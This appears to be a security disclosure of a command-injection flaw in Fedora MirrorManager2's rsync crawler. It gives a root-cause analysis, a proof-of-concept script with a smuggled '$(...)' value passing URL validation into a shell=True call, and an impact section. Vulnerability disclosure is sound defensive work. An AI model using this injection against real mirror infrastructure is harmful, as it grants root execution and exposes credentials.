Fedora Account System
Red Hat Associate
Red Hat Customer
====================================================================== 1. VULNERABILITY SUMMARY ====================================================================== - Title: Remote Command Execution (RCE) via Unsanitized Shell Invocation in run_rsync - Affected Project: Fedora MirrorManager2 (https://github.com/fedora-infra/mirrormanager2) - Affected Component: mirrormanager2/lib/sync.py (run_rsync) and mirrormanager2/crawler/rsync_connector.py ====================================================================== 2. ROOT CAUSE ANALYSIS ====================================================================== In `mirrormanager2/lib/sync.py` (lines 74–90), the `run_rsync()` function constructs a shell command line via direct raw string concatenation with `shell=True`: ```python cmd = "rsync --temp-dir=/tmp -r --exclude=.snapshot --exclude='*.~tmp~'" if extra_rsync_args is not None: cmd += " " + extra_rsync_args cmd += " " + rsyncpath ... p = subprocess.Popen( cmd, shell=True, stdin=devnull, stdout=tmpfile, stderr=devnull, close_fds=True, bufsize=-1, ) ``` The `rsyncpath` argument is passed directly from the `HostCategoryUrl.url` database attribute by `mirrormanager2/crawler/rsync_connector.py` (line 27): result, listing = run_rsync(url, self._config["CRAWLER_RSYNC_PARAMETERS"], logger) Any registered mirror administrator can add or modify their Host Category URLs at will. In MirrorManager2, newly created sites and hosts default to `admin_active = True`, and URL records are committed immediately without an approval queue. Because `shell=True` invokes `/bin/sh -c`, standard shell control metacharacters (such as `;`, `&&`, `|`, `$(...)`, or backticks) break out of the rsync argument and execute arbitrary shell commands on the crawler node. Furthermore, WTForms URL validation (`wtforms.validators.URL(require_tld=False)`) complies with RFC 3986, which explicitly allows semicolons, ampersands, and parentheses as valid URL sub-delimiters, meaning the payload is stored unmodified in the database. ====================================================================== 3. PROOF OF CONCEPT (LOCAL REPRODUCTION) ====================================================================== The following standalone Python test script demonstrating the exact logic from `lib/sync.py` and `crawler/rsync_connector.py` confirms execution. It proves that wtforms sanitizing does not prevent malformed entries, and the malicious code is executing: ```python from wtforms import Form, StringField from wtforms.validators import URL import subprocess class MirrorURLForm(Form): rsyncpath = StringField('rsyncpath', validators=[URL(require_tld=False, message="Invalid URL")]) def test_url_validation(candidate_value: str): #Validates a test string against the WTForms URL validator #Populate the form with the test candidate form = MirrorURLForm(data={'rsyncpath':"http://" + candidate_value}) #adding http prefix for wtforms compliance simulation #Run validation passes_validation = form.validate() print(f"Testing value: {candidate_value}") if passes_validation: print("Result: PASSED validation") else: print(f"Validation errors: {form.errors}\n") return passes_validation, candidate_value #valid rsync_path test_url_validation("example.com") #malicious rsync_path is_valid, captured_value = test_url_validation("example.com/;$(touch malicious_file)") #simulate execution of untrusted command on org infrastructure as root cmd = f"rsync -nv test_directory/ user@{captured_value}:" #executes `touch malicious_file` p = subprocess.Popen(cmd, shell=True, text=True) p.communicate() ``` ====================================================================== 4. OPERATIONAL IMPACT ====================================================================== According to `utility/mirrormanager.cron` (line 16): 0 */12 * * * root /usr/bin/mm2_crawler.py -c /etc/mirrormanager/prod.cfg --threads 75 > /dev/null 2>&1 The crawler runs every 12 hours as the `root` user. Therefore: 1. An attacker registering a community mirror gains root-level code execution on the crawler host. 2. The attacker gains read access to `/etc/mirrormanager/prod.cfg`, compromising master database credentials and secrets. 3. Compromise of the crawler allows potential supply-chain manipulation of valid repository statuses.